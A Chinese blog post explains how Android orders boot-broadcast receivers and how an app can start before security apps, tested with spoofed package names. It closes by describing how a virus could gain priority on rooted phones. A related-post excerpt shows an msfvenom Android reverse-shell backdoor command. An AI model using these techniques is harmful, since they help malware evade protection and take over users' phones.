android安全漏洞(四) 抢先开机启动 - 结果篇

rk3399 android 11 音频设备优先级管理 android 音频输出输入设备的管理 阅读详情

导读:我们以如何抢先开机启动为例,来说明接收无序广播的静态广播接收器的接收顺序

(注意,文本只是陈述结果,所以叫结果篇,之后的文章再给出源码分析)

 

首先先说一下android中的广播和广播接收器
广播可以分为有序、无序和sticky共三种
广播接收器可以分为静态和动态两种


首先我们要明确两个问题
1.接收无序广播的接收器接收到广播的顺序是有序的
2.接收无序广播的接收器也一样可以设置优先级的



这里主要说一下多个应用中的静态广播接收器(优先级都相同的情况下)接收无序广播时的接收顺序
注意:这里主要描述结论,具体原理后续给出
注意:本文在提及的同时出现在同一设备的静态接收器默认具有相同的优先级,这点很重要


我们以开机时候发出的广播android.intent.action.BOOT_COMPLETED为例,这是个无序广播
如果应用想要开启自启动,那么就要监听这个广播,程序启动之前,动态广播接收器肯定是无法使用的,我相信大家对此没有什么疑问
如果先接收到,那么程序就会先启动,至于先启动的优势,我想那些迫不及待的人比谁都清楚


接收顺序到底与什么有关,说实话,我也不清楚,不过先别急着拍我,我也不是完全不知道……
顺序与解析应用的顺序是一致的,但是解析应用的顺序是怎样的呢?
首先要告诉大家的是,这和你apk的文件名没有关系!

比如a.apk、b.apk两个应用,结果并不能保证a能比b先接收到,或者b能比a先接收到
然后告诉大家,这和apk的文件名有关系!
没错,但是为什么这么说?
用户安装一个应用有这么几个步骤
1下载一款应用,假设下载下来的时候这个应用叫new.apk
2安装。一般情况下,用户会在手机中操作,点击文件,然后系统会安装页面……然后大家都知道。另一种情况程序猿可能喜欢使用adb install -r new.apk

大家都知道,第三方应用会存放在/data/app目录下
当安装完毕之后,我们去这里看看,发现一个严峻的问题,那就是,你找不到一个叫new.apk的文件!
那你会找到什么?你会找到一个文件,他的名字是以与new.apk这个应用包名开始的,然后可能会跟着"-数字.apk",比如:com.android.test-1.apk

接收的顺序与这个名字是有关的!那么关系是怎样的呢?
系统在开机的时候,会按着一个顺序解析apk
1.首先,会解析手机中的/system/framework这个目录,原生系统中,这下面就一个apk - framework-res.apk
当然各个厂商也会加入自己的内容,比如我的这个目录下就有com.htc.resources.apk
2.然后受到重视的文件夹按顺序分别为:
/system/app
/vendor/app
/data/app
/drm/app-private

(代码分析在下一篇博客给出)

那么每个文件夹下解析的顺序是怎样的呢
我们先只看/data/app,也就是用户安装的第三方应用的存放位置

这与下面代码返回结果的顺序是一致的

Java代码   收藏代码
  1. File file = new File("/data/app/");  
  2. String[] files = file.list();  

也就是说,我们按顺序打印这个数组,就能知道哪个接收器会先接收到这个广播,哪个会后接收到(为什么与这个结果一致,下篇文章分析)

(记住:本文默认说的这些接收器假设具有相同的优先级,如果优先级不同,当然是高优先级的先接收到)

 

现在大家可能有这么几个疑问:

1.String[] java.io.File.list(),这个函数的返回结果是怎样的顺序呢?

2.如何执行上面那段代码呢?

 

首先回答问题1

我不知道!

我们来看看javadoc给出的说明

javadoc 写道
There is no guarantee that the name strings in the resulting array will appear in any specific order; they are not, in particular, guaranteed to appear in alphabetical order.

说的很清楚,人家不给你任何保证

听说在windows下执行的时候,结果会按着字母顺序排列,可惜,android是linux

但是我们可以耍赖,打印一下上面结果,如果自己的应用拍在后面,就改包名,直到你能排到前面,当然这不是什么好办法,但我也没有什么更好的办法了

 

现在回答问题2

执行这段代码需要root权限,因为一般应用是没有这个目录的读取权限的

如果手机没有root怎么办?你不会找一个root过的来查看结果吗……

 

 

我做了一个实验,我写了几个只有receiver的应用,把他们的包名分别设置为大家常用的、关系的应用包名

飞信:cn.com.fetion

LBE隐私卫士:com.lbe.security.lite

Handsent:com.handsent.nextsms

金山手机卫士:com.ijinshan.mguard

360手机卫士:com.qihoo360.mobilesafe

QQ手机管家:com.tencent.qqpimsecure

一个测试应用:com.example.boottest

Java代码   收藏代码
  1. File file = new File("/data/app/");  
  2. String[] files = file.list();  
  3. for (int i = 0; i < files.length; i++) {  
  4.     System.out.println("/data/app/:files["+(i+1)+"]:" + files[i]);  
  5. }  

结果为:

/data/app/:files[8]:com.tencent.qqpimsecure-1.apk

/data/app/:files[9]:com.qihoo360.mobilesafe-1.apk

/data/app/:files[10]:com.ijinshan.mguard-1.apk

/data/app/:files[11]:cn.com.fetion-1.apk

/data/app/:files[12]:com.lbe.security.lite-1.apk

/data/app/:files[13]:com.handsent.nextsms-1.apk

/data/app/:files[14]:com.example.boottest-1.apk

 

实际接收顺序为:

12-06 15:19:58.187: I/System.out(1880): getPackageName:com.tencent.qqpimsecure

12-06 15:19:58.288: I/System.out(1893): getPackageName:com.qihoo360.mobilesafe

12-06 15:19:58.378: I/System.out(1906): getPackageName:com.ijinshan.mguard

12-06 15:19:58.488: I/System.out(1920): getPackageName:cn.com.fetion

12-06 15:19:58.608: I/System.out(1933): getPackageName:com.lbe.security.lite

12-06 15:19:58.718: I/System.out(1946): getPackageName:com.handsent.nextsms

12-06 15:19:58.908: I/System.out(1959): getPackageName:com.example.boottest

 

 

如果其中一个优先级较高,比如cn.com.fetion,那么实际的接收顺序为

getPackageName:cn.com.fetion
getPackageName:com.tencent.qqpimsecure
getPackageName:com.qihoo360.mobilesafe
getPackageName:com.ijinshan.mguard
getPackageName:com.lbe.security.lite
getPackageName:com.handsent.nextsms
getPackageName:com.example.boottest

最后注意:

上面只是一个简单测试,并不是这些应用就是按着这个顺序,因为他们优先级也许不一致,也许在/data/app下的文件名不一致,导致顺序不一致

不过,看到这里,你应该知道如何去先于他们开机启动了

 

 

对于ROOT后的机器

留给大家一个问题,如果我是病毒,那我应该怎样去做呢?

显然,最理想的方式就是找个壳子应用,把实体病毒apk放到/system/framework目录中去,当然别忘了把自己的优先级设置成最高,不然也是白费

 

 

 

 

android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

 

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序

android安全问题(四) 抢先开机启动 - 结果篇

android安全问题(五) 抢先拦截短信 - 结果篇

 

 

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

 

 

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.youkuaiyun.com/su1216/

Android开发常见安全漏洞总结 目录WebView组件远程代码执行漏洞addJavascriptInterface接口解决方案searchBoxJavaBridge_接口解决方案accessibility 和 accessibilityTraversal解决方案WebView跨域访问漏洞解决方案WebView组件忽略SSL证书验证错误漏洞解决方案WebView密码明文保存漏洞解决方案本地端口开放越权风险解决方案Content P... 阅读详情

相关推荐

Kali 下对安卓手机的攻击

写在前面:本文仅限学术交流,请勿用他人实践 Kali对安卓手机的攻击(渗透) 我们首先需要确定本机IP 这很简单,对于Kali来说我们需要打开终端并键入 ifconfig 即可获取自己的IP,然后我们需要确定安卓手机也就是被攻击者的IP,只需键入 fping -g 本机IP地址/24 这时我们就能确定目标IP,这次教程主要围绕创建后门程序展开 在终端中执行: # msfvenom -p android/meterpreter/reverse_tcp LHOST=目标IP LPORT=

m0_66524548的博客 1万+

android 提高开机广播优先级

<intent-filter android:priority="2147483647"> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter>

u010559573的专栏 2031

Kali环境使用Metasploit生成木马入侵安卓手机

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。环境准备:Kali2.0(msfVENOM、metasploit)安卓手机或安卓模拟器利用过程:先查看本地IP...

zhaghailiangji的博客 2万+

Android O Android P 自定义开机广播

背景 一般来说,我们都是用的监听android.intent.action.BOOT_COMPLETED。 但凡稍有些经验的开发者都知道,这个广播很慢,非常慢。因为它是一个有序广播,根据优先级来的,而且监听这个广播的apk又非常多。打个log感受一下,这个广播开始到结束在我司的机器上持续了30s! 关键是你把优先级调高了,即便你是前几个收到android.intent.action.BO...

Mis_wenwen的博客 5540

uniapp监听扫码枪键盘事件|无输入框式监听

一般的扫码枪通过USB或蓝牙连接手机或电脑,充当的是一个外接设备。当扫码后,扫码枪会自动识别内容,然后向连接的电脑或手机发送键盘事件keydown或keyup。

tcy9099的专栏 9750

Gemini 2.5 Pro国内免魔法直连教程:5分钟搞定专业级PPT图表(附折线图/柱状图案例)

本文详细介绍了如何利用Gemini 2.5 Pro快速生成专业级PPT图表,包括折线图和柱状图等常见商业图表。通过自然语言交互和智能图表生成功能,用户可以在5分钟内完成数据可视化,大幅提升工作效率。文章还提供了实战案例和高级技巧,帮助用户轻松应对各种商业场景需求。

weixin_30733003的博客 460

android安全问题(六) 抢先接收广播 - 内因篇之广播接收器注册流程

导读:本文说明系统是如何注册动态广播以及静态广播,这里主要注意其注册的顺序 这篇文章主要是针对我前两篇文章 android安全问题(四) 抢先开机启动 - 结果篇 android安全问题(五) 抢先拦截短信 - 结果篇 之前只给出了结果,并没有给出代码分析,现在给出第一步分的分析 大家都知道,广播接收器分为动态注册和静态注册两种 静态接收,就是配...

weixin_34008784的博客 148

《UDS/OBD诊断需求编辑工具》总目录

目录 1 基于CANdela Studio编辑CDD诊断描述文件 2 基于ODX Studio编辑ODX/PDX文件 2.1 编辑ODX-D诊断描述文件 2.2 编辑ODX-F刷写软件 该专栏主要负责介绍CANdela Studio和ODX Studio编辑CDD/ODX/PDX诊断描述文件。 1 基于CANdela Studio编辑CDD诊断描述文件 2 基于ODX Studio编辑ODX/PDX文件 【ODX介绍 】-1- 标准梳理 【ODX介绍】 -2-如何手..

「汽车电子助手」的博客 1万+

android 自定义广播 总是被系统先接收,Android学习笔记(十四)——自定义广播...

//此系列博文是《第一行Android代码》的学习笔记,如有错漏,欢迎指正!我们除了可以通过广播接收器来接收系统广播, 还可以在应用程序中发送自定义的广播。下面我们来分别试一试发送自定义的标准广播和有序广播。一、标准广播:1)在发送广播之前,我们还是需要先定义一个广播接收器来准备接收此广播才行:1 public class MyBroadcastReceiver extendsBroadcastR...

weixin_39662263的博客 207

山东大学机试试题合集

山东大学机试试题合集

qq_63349644的博客 2622

目前最强的价格行为技术分析AI!大A也能用!还免费!

有球友推荐了一个历史最强的价格行为技术分析AI工具,使用下来确实很惊艳,解决了 很多AI工具黑盒过程,难以回溯的问题,他的决策过程可解释,提供决策树、诊断结果、原始响应、调试信息和未来走势预期。用户能够看到模型为什么选择“做多、做空或不下单”。会检查置信度、入场条件、盈亏比、结构失效和冷却期。最大的优点不是“预测一定准确”,而是把主观的价格行为分析整理成了可重复、可解释、可校验、可持续跟踪的工程化流程。本文记录本项目在 Windows 上的实际部署与启动方法。

木头大左的博客 76

安卓手机加密_从安卓1.0到现在的安卓10.0,开机密码都存放在了哪里?

防止疫情蔓延,请大家坚守在家,努力涨“姿势”小编于2009年毕业(注意是毕业不是肄业,本编经过了4年的大学深造,是有正规学历证明的!虽然之后从未拿出来向任何人证明过。),毕业后开始创业--卖手机(就是倒腾二手的)。虽然我们有着极其强烈的创业欲望与激情,然而,理想总是丰满的,现实是残酷的,赔的店租都交不起。。。。往事历历在目,不堪回首。当年正是经历了诺基亚巨头的轰然倒塌,安...

weixin_39890102的博客 4885

AI 大模型应用数据中心的数据清洗工具

1. 背景介绍 在人工智能大模型应用的浪潮中,数据清洗作为数据预处理的重要环节,对于提升模型性能和可靠性具有至关重要的作用。数据中心作为人工智能模型的运行环境,面临着海量数据流和多样化的数据类型,如何高效、准确地进行数据清洗,成为应用大模型的关键问题之一。本文将详细介绍AI大模型应用数据中心的数据清洗工具,包括核心概念、算法原理、具体操作步骤、应用场

SuperAGI2025 1804

android安全漏洞(五) 抢先拦截短信 - 结果篇

同上篇文章一样,这里只陈述结果,代码分析稍后给出 导读:本文叙述如何先于某些伪杀毒软件、病毒、常规软件获取到短信   众所周知,android系统在收到短信息的时候会发送广播,但是此广播是有序广播,也就是说:先接收到广播的人,如果心情不好,它就不会向后传递此广播,后面的人就不会知道有短信到来 这与无序广播不同,无序广播并不是真的没有顺序(只是似乎大家习惯这么叫而已),无序广播的接

Bincker's Log 2540

GEE训练教程:基于Sentinel-2卫星的归一化建筑指数(NDBI)等的进行城市扩张分析

本文介绍利用Sentinel-2卫星数据和谷歌地球引擎平台监测印度卡姆鲁普都会区2018-2024年城市扩张的方法。通过计算归一化建筑指数(NDBI)、植被指数(NDVI)和水体指数(MNDWI),采用多阈值规则识别建设用地,并量化不同年份的城市扩张面积。代码实现了从数据预处理、指数计算到面积统计的完整流程,为城市扩张研究提供了可复制的技术方案。关键参数包括年份选择、云覆盖阈值和分类阈值,均可根据研究需求调整。该方法能有效追踪城市边界变化,为城市规划提供数据支持。

此星光明博客 135

Labview项目01:标准可配置序列测试框架

摘要:本文介绍了一个基于LabVIEW2020开发的通用测试框架系统。该系统采用模块化设计,包含主界面、调试界面、设置界面和登录界面。主功能包括:1)可配置测试序列,支持延时、预定值输出、随机值输出等操作;2)单步测试功能自主添加;3)界面支持测试序列编辑和权限管理。系统采用队列机制处理事件和测试流程,通过CSV文件存储测试序列,支持参数化配置。用户可自定义测试VI(A_.vi和N_.vi格式),并通过调试界面验证测试序列。最终测试结果在主界面显示,提供整体判断功能。该系统既可作为学习参考,也可用于实际测试

weixin_38637405的博客 1552

Android手机App安全漏洞整理

转载于:http://blog.youkuaiyun.com/shayuchaor/article/details/60783216   1.源码安全漏洞 1.1 代码混淆漏洞 当前APK文件的安全性是非常令人堪忧的。APK运行环境依赖的文件/文件夹 res、DEX、主配文件Lib 只有简单的加密或者甚至没有任何加密。诸如apktool这类工具可轻易将其破解,再配合其他例如dex2jar、jd-gui...

Qton_优快云的博客 7576

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

AhMyth漏洞研究:Android安全漏洞的发现与分析

AhMyth是一款跨平台的Android远程管理工具(Remote Administration Tool),作为GitHub上维护的活跃项目,它提供了对Android设备的远程控制功能。本文将深入分析AhMyth项目中涉及的Android安全漏洞原理、常见攻击向量及防御策略,帮助安全研究者和开发者理解移动安全的关键风险点。 [![AhMyth工具 banner](https://raw.git

gitblog_00087的博客 959

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

安卓开发工程师-应用安全漏洞防范

【代码】安卓开发工程师-应用安全漏洞防范。

qq_62784677的博客 1408

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

OWASP TOP10 移动安全漏洞(安卓)2017

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言OWASP TOP10 移动安全漏洞(安卓)一、脆弱的服务器端安全控制二、不安全的数据存储三、传输层保护不足四、意外的数据泄露五、弱授权和身份认证六、密码破解七、客户端注入八、通过不可信输入进行安全决策九、Session 会话处理不当十、缺乏二进制文件保护 前言 OWASP TOP10 移动安全漏洞(安卓) 2017 OWASP TOP10 移动安全漏洞(安卓) 一、脆弱的服务器端安全控制 在 OWASP 排第一的漏

luqi5的博客 4308

Android开发-创建安卓工程项目+安卓程序的运行

文章目录前言一、为什么学习Android1.1、什么是Android1.2、Android的特点1.3、Android开发的前景二、Android studio三、创建安卓工程项目四、第一个安卓程序的运行总结 前言 Android是基于linux平台的开源手机操作系统,该平台由操作系统,中间件,用户界面和应用软件组成。Android用户量巨大,且开发android应用程序免费,在有JAVA开发基础的情况下上手比较容易。 一、为什么学习Android 1.1、什么是Android 1.Android是基于

qq_52173163的博客 8757

全新WiFi安全漏洞曝光,可能影响全球23亿安卓用户

而黑客所需要的只是企业 WPA2/3 网络的名称(SSID),这对于他们来说非常容易,只要在建筑物周围走动并扫描一下就能轻易获得。同时,该漏洞还很可能会影响 PEAP(受保护的可扩展身份验证协议)的实施, PEAP 是一种用于更好地保护 WiFi 网络安全的安全协议。该漏洞影响到英特尔的 iNet Wireless Daemon(IWD)平台,这是一个针对 Linux 的综合连接解决方案,也是开源的,主要用于家庭 WiFi 网络。近日,有研究人员发现两大WiFi安全漏洞,很可能会影响到全球数十亿安卓用户。

FreeBuf_的博客 860

android安全漏洞(六) 抢先接收广播 - 内因篇之广播接收器注册流程

导读:本文说明系统是如何注册动态广播以及静态广播,这里主要注意其注册的顺序   这篇文章主要是针对我前两篇文章 android安全问题(四) 抢先开机启动 - 结果篇 android安全问题(五) 抢先拦截短信 - 结果篇 之前只给出了结果,并没有给出代码分析,现在给出第一步分的分析   大家都知道,广播接收器分为动态注册和静态注册两种 静态接收,就是配置到manifest.xml

Bincker's Log 1985

Android WebView 安全漏洞

Android的SDK中提供了一个WebView组件,用于在应用中嵌入一个浏览器来进行网页浏览。WebView组件中的addJavascriptInterface方法用于实现本地Java和JavaScript的交互。这个方法可以通过js脚本在本地执行任意Java代码,从而以当前用户身份执行任意命令。 尽管Android官方已经提醒了此功能在访问不可信网页内容时存在严重安全风险,很多应用开发人

idaretobe的专栏 1661

APKDeepLens:全面的Android安全漏洞扫描工具

APKDeepLens是一个基于Python的开源工具,专门设计用于扫描Android应用程序(APK文件)中的安全漏洞。该工具专注于OWASP十大移动安全风险,为开发者、渗透测试人员和安全研究人员提供了一个简单高效的方式来评估Android应用的安全状况。 ## 功能特性 APKDeepLens具备以下核心功能: - **APK分析**:扫描Android应用包文件中的安全漏洞 - **O

gitblog_00146的博客 1101
上一篇: android安全漏洞(五) 抢先拦截短信 - 结果篇
下一篇: android安全漏洞(二) 程序锁
Bincker
博客等级 码龄20年 35粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值